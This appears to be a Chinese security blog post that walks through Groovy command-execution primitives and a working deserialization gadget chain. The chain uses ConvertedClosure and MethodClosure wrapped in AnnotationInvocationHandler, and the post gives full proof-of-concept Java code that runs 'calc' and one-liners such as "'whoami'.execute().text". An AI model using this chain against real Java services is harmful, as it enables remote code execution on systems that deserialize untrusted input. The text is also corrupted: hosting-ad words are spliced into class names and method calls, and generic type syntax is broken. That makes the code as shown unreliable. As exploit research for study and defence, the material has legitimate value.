前言
Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all
环境搭建
org.codehaus.groovy
groovy-all
2.4.3
Groovy命令执行
MethodClosure
package org.example;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class methodClosure {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodCl服务器托管osure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}
很朴素,一眼看出漏洞点在doCall
方法,调试一波
invokeMethod
顾名思义就是执行方法的,调试进去看也确实如此,看getOwner
是获取到this.owner
,看构造方法,owner
是一个对象
而owner
我们是设置了的,owner
就是我们传入的Runtime
对象,method
同理可控,这样就实现了任意类方法调用
String.execute()
Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execut服务器托管e()
这种方法来执行系统命令ls
注意这里,创建一个Groovy
类文件,不是创建java类文件了
package org.example
class stringExecute {
static void main(String[] args){
println("calc".execute().text);
}
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
ConvertedClosure
ConvertedCloure
实际上是一个动态代理类,它继承了ConversionHandler
而ConversionHandler
又继承了InvocationHandler
因此该类是一个动态代理,然后注意invokeCustom
,这个和InvocationHandler
的invoke
是一个意思,代理的具体逻辑。如果初始化时指定的method
与invokeCustom
指定的method
参数相同,则invokeCustom
方法将会调用代理对象 Closure
的call
方法执行传入参数执行
Groovy反序列化构造
说到动态代理就得想到CC1
package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;
public class convertedClosure {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}
调用链
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
流程分析
调用entrySet
触发invoke,this是ConvertedClosure
它继承了ConversionHandler
,所以是走进父类里面的方法,在这里面进而触发invokeCustom
最后调用call
方法rce
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
相关推荐: 【踩坑】flask_uploads报错cannot import name ‘secure_filename‘
转载请注明出处:小锋学长生活大爆炸[xfxuezhang.cn] 背景说明 截至目前,用新版的flask实现文件上传(用到flask_uploads库),会出现这个问题。 问题原因 版本问题,新的werkzeug已经把secure_filename的位置改了。…